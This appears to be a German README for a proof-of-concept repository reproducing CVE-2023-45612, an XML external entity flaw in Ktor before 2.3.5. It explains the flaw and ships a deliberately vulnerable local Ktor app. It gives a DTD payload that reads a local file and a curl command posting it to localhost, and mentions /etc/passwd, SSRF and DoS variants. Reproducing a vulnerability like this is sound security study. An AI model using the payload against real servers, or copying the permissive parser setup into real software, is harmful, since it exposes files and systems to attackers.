
Ktor XXE-Injection Proof-of-Concept (CVE-2023-45612)
Auswirkung: Zugriff auf beliebige Dateien über eine manipulierte XML-DTD mit einer XXE-Referenz.
Ursache: Unsicherer XML-Dokumentparser.
Dieses Repository enthält eine angreifbare Ktor 2.3.4-App, die so konfiguriert ist, dass externe Entitäten zugelassen werden, sodass der XXE-Effekt sichtbar wird.
Angreifbare Ktor-Anwendung (v2.3.4) für den Proof of Concept einer XML-External-Entity-Injection (CVE-2023-45612).
CVE-2023-45612 ist ein XXE-Fehler (XML External Entity) in Ktors ContentNegotiation, wenn XML in Versionen vor 2.3.5 aktiviert ist.
Diese Schwachstelle ist CWE-611: Improper Restriction of XML External Entity Reference zugeordnet.
XXE gehört zur Risikokategorie OWASP Top 10 A05:2021-Security Misconfiguration, ist aber auch ein Problem unsicheren Designs, da die Ursache ein nicht restriktiver XML-Parser ist.
Gemeldet von Ulf Karlsson — siehe Jetbrains-Sicherheitshinweise.
Ktor-Versionen älter als 2.3.5
Dies ist meine Umgebung zum Reproduzieren des Problems:
XML-Dokumente können optional eine Dokumenttypdefinition (DTD) enthalten, die unter anderem die Definition von XML-Entitäten ermöglicht. Es ist möglich, eine Entität zu definieren, indem eine Ersetzungszeichenfolge in Form einer URI angegeben wird. Der XML-Parser kann auf den Inhalt dieser URI zugreifen und diesen Inhalt zur weiteren Verarbeitung wieder in das XML-Dokument einbetten.
Durch das Übermitteln einer XML-Datei, die eine externe Entität mit einer file://-URI definiert, kann ein Angreifer die verarbeitende Anwendung dazu veranlassen, den Inhalt einer lokalen Datei zu lesen.
Eine URI wie "file:///c:/winnt/win.ini" bezeichnet beispielsweise (unter Windows) die Datei C:\Winnt\win.ini, oder file:///etc/passwd bezeichnet die Passwortdatei auf Unix-basierten Systemen.
(https://cwe.mitre.org/data/definitions/611.html)
An den Endpunkt http://localhost:8080/xml wird eine POST-Anfrage gesendet.
Die Anfrage sendet eine XML-Datei, exploit/payloads/xxe-demo-file.xml, die ein <!DOCTYPE>-Element enthält, in dem auf eine externe Entität verwiesen wird, in diesem Fall exploit/etc/secret.txt.
Das könnte potenziell jede andere Datei auf dem System sein, auf die der Prozess Zugriff hat.
xxe-demo-file.xml
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>
Der XML-Parser (so konfiguriert, dass er DTDs zulässt) löst dieses Element auf und ruft die Ressourcendaten ab.
Die externe Referenz könnte auch ein Pfad zu einem SSRF-Endpunkt sein oder auf eine große Datei zeigen, um die Systemressourcen zu belegen (DOS).
./gradlew run
Responding at http://127.0.0.1:8080
curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml
Erwartetes Ergebnis (anfällig):
Konsolenausgabe:
Received: <external entity data>
Erwartetes Ergebnis (sicher):
400 Bad Requestoder Ähnliches (Der XML-Parser blockiert die Dokumenttypdefinition)
Befehl ausführen:

XXE-Payload mit cURL senden und das Ergebnis mit den eingefügten Dateiinhalten anzeigen:

Der Schweregrad ist hoch/kritisch. Möglicher lokaler Dateizugriff, SSRF-Angriff, DoS-Angriff oder andere Auswirkungen auf das System.
NVD-Basis-Score: 9.8 CRITICAL (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)